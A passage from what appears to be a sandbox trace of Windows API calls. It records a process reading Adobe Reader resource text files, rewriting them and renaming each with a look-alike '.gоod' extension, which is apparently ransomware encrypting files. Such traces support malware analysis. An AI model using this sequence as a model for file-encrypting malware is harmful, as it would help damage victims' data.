dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.515] GetFileType (hFile=0x6e8) returned 0x1 [0105.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.515] GetFileType (hFile=0x6e8) returned 0x1 [0105.515] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0105.515] ReadFile (in: hFile=0x6e8, lpBuffer=0x35e6548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x35e6548*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0105.517] CloseHandle (hObject=0x6e8) returned 1 [0105.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", lpFilePart=0x0) returned 0x65 [0105.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.517] GetFileType (hFile=0x6e8) returned 0x1 [0105.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.517] GetFileType (hFile=0x6e8) returned 0x1 [0105.517] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x345b [0105.517] WriteFile (in: hFile=0x6e8, lpBuffer=0x35e7820*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x35e7820*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0105.518] CloseHandle (hObject=0x6e8) returned 1 [0105.518] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", lpFilePart=0x0) returned 0x65 [0105.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.518] GetFileType (hFile=0x6e8) returned 0x1 [0105.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.518] GetFileType (hFile=0x6e8) returned 0x1 [0105.518] ReadFile (in: hFile=0x6e8, lpBuffer=0x35e9b20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35e9b20*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0105.896] CloseHandle (hObject=0x6e8) returned 1 [0105.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", lpFilePart=0x0) returned 0x65 [0105.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.896] GetFileType (hFile=0x6e8) returned 0x1 [0105.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.896] GetFileType (hFile=0x6e8) returned 0x1 [0105.896] WriteFile (in: hFile=0x6e8, lpBuffer=0x3357c98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x3357c98*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0105.896] CloseHandle (hObject=0x6e8) returned 1 [0105.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT", lpFilePart=0x0) returned 0x65 [0105.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT.gоod", lpFilePart=0x0) returned 0x6a [0105.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0105.896] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeac0ed3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b54ef0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x346b)) returned 1 [0105.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0105.897] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt.gоod")) returned 1 [0105.897] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", lpFilePart=0x0) returned 0x62 [0105.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0105.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), fInfoLevelId=0x0, lpFileInformation=0x34ef408 | out: lpFileInformation=0x34ef408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeae7122, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x340e)) returned 1 [0105.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0105.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", lpFilePart=0x0) returned 0x62 [0105.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.898] GetFileType (hFile=0x6e8) returned 0x1 [0105.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.898] GetFileType (hFile=0x6e8) returned 0x1 [0105.898] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0105.899] ReadFile (in: hFile=0x6e8, lpBuffer=0x34ef880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x34ef880*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0105.900] CloseHandle (hObject=0x6e8) returned 1 [0105.900] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", lpFilePart=0x0) returned 0x62 [0105.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.900] GetFileType (hFile=0x6e8) returned 0x1 [0105.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.900] GetFileType (hFile=0x6e8) returned 0x1 [0105.900] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x340e [0105.900] WriteFile (in: hFile=0x6e8, lpBuffer=0x34f0b48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x34f0b48*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0105.901] CloseHandle (hObject=0x6e8) returned 1 [0105.901] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", lpFilePart=0x0) returned 0x62 [0105.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0105.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0105.901] GetFileType (hFile=0x6e8) returned 0x1 [0105.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0105.901] GetFileType (hFile=0x6e8) returned 0x1 [0105.901] ReadFile (in: hFile=0x6e8, lpBuffer=0x34f2e38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34f2e38*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0106.269] CloseHandle (hObject=0x6e8) returned 1 [0106.269] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", lpFilePart=0x0) returned 0x62 [0106.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0106.269] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0106.269] GetFileType (hFile=0x6e8) returned 0x1 [0106.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0106.269] GetFileType (hFile=0x6e8) returned 0x1 [0106.269] WriteFile (in: hFile=0x6e8, lpBuffer=0x33988d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x33988d8*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0106.269] CloseHandle (hObject=0x6e8) returned 1 [0106.269] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT", lpFilePart=0x0) returned 0x62 [0106.270] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT.gоod", lpFilePart=0x0) returned 0x67 [0106.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0106.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeae7122, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b8e2711, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x341e)) returned 1 [0106.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0106.270] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt.gоod")) returned 1 [0106.271] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", lpFilePart=0x0) returned 0x64 [0106.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0106.271] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), fInfoLevelId=0x0, lpFileInformation=0x35fab18 | out: lpFileInformation=0x35fab18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x375f)) returned 1 [0106.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0106.271] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", lpFilePart=0x0) returned 0x64 [0106.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0106.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0106.271] GetFileType (hFile=0x6e8) returned 0x1 [0106.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0106.272] GetFileType (hFile=0x6e8) returned 0x1 [0106.272] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0106.272] ReadFile (in: hFile=0x6e8, lpBuffer=0x35fafa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x35fafa0*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0106.277] CloseHandle (hObject=0x6e8) returned 1 [0106.277] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", lpFilePart=0x0) returned 0x64 [0106.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0106.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0106.277] GetFileType (hFile=0x6e8) returned 0x1 [0106.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0106.278] GetFileType (hFile=0x6e8) returned 0x1 [0106.278] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x375f [0106.278] WriteFile (in: hFile=0x6e8, lpBuffer=0x35fc270*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x35fc270*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0106.279] CloseHandle (hObject=0x6e8) returned 1 [0106.279] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", lpFilePart=0x0) returned 0x64 [0106.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0106.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0106.280] GetFileType (hFile=0x6e8) returned 0x1 [0106.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0106.280] GetFileType (hFile=0x6e8) returned 0x1 [0106.280] ReadFile (in: hFile=0x6e8, lpBuffer=0x35fe568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35fe568*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0107.525] CloseHandle (hObject=0x6e8) returned 1 [0107.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", lpFilePart=0x0) returned 0x64 [0107.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0107.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0107.525] GetFileType (hFile=0x6e8) returned 0x1 [0107.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0107.525] GetFileType (hFile=0x6e8) returned 0x1 [0107.525] WriteFile (in: hFile=0x6e8, lpBuffer=0x33bbd48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x33bbd48*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0107.525] CloseHandle (hObject=0x6e8) returned 1 [0107.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT", lpFilePart=0x0) returned 0x64 [0107.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT.gоod", lpFilePart=0x0) returned 0x69 [0107.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0107.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, 